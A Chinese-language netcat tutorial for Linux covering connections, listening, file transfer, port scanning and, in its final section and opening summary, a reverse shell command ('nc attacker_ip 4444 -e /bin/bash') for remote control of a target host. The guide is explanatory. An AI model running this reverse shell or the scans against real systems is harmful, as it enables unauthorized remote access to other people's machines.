掌握netcat需熟悉其五大功能:1、用“nc -v host port”建立TCP/UDP连接并通信;2、通过“nc -l -p port”监听本地端口接收数据;3、结合重定向实现文件传输,如“nc -l -p 9999 > file”接收,“cat file | nc ip 9999”发送;4、使用“nc -z -v ip port-range”扫描开放端口,支持TCP/UDP;5、执行“nc -l -p 4444”监听并用“nc ip 4444 -e /bin/bash”反弹shell,实现远程控制。

如果您需要在Linux系统中进行网络调试、端口扫描或数据传输,但不确定如何高效使用netcat工具,则可能是由于对nc命令的多种功能缺乏全面了解。以下是掌握该工具使用方法的详细步骤:
本文运行环境:联想ThinkPad X1 Carbon,Ubuntu 24.04
一、基本连接与通信
netcat可用于建立TCP或UDP连接,实现两台主机之间的简单通信。此模式常用于测试服务连通性或手动发送协议请求。
1、使用TCP协议连接远程服务器的指定端口:nc -v example.com 80
2、启用UDP模式连接,适用于测试DNS或NTP服务:nc -u -v example.com 53
3、连接后可手动输入HTTP请求内容,例如输入 GET / HTTP/1.1 并回车两次以获取网页响应。
二、监听本地端口
通过将netcat设置为监听模式,可以接收来自其他主机的连接请求,常用于调试客户端连接或文件接收。
1、启动TCP监听服务,监听9999端口:nc -l -p 9999
2、若需使用UDP协议监听,则添加-u参数:nc -l -u -p 9999
3、当客户端连接并发送数据时,接收端会实时显示传入的内容。
三、文件传输
netcat可在主机间快速传输文件,无需复杂配置,适合临时场景下的数据迁移。
1、在接收端执行监听命令并将输出重定向到文件:nc -l -p 9999 > received_file.txt
2、在发送端使用管道将文件内容发送至目标主机:cat source_file.txt | nc target_ip 9999
3、传输完成后连接自动关闭,确保文件完整性可通过校验和验证。
四、端口扫描
netcat支持对目标主机的特定端口范围进行扫描,判断哪些端口处于开放状态。
1、执行TCP端口扫描,检测目标主机前100个常用端口:nc -z -v example.com 1-100
2、如需包含UDP扫描,加入-u参数:nc -z -u -v example.com 1-100
3、使用-w设置超时时间以加快扫描速度,例如 nc -z -w 1 example.com 80-443 可限制每个连接等待1秒。
五、创建反向Shell
通过netcat可实现从目标主机反弹shell到控制端,常用于系统管理或安全测试场景。
1、在控制端启动监听,准备接收shell会话:nc -l -p 4444
2、在目标主机上执行命令,将bash shell输出重定向至控制端:nc attacker_ip 4444 -e /bin/bash
3、连接建立后,控制端即可在终端中直接操作目标主机的命令行环境。









